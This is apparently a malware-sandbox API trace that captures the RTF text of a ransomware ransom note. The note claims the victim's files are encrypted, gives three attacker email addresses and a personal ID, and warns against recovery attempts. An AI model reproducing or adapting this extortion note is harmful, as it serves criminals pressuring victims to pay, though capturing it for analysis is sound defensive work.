\\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 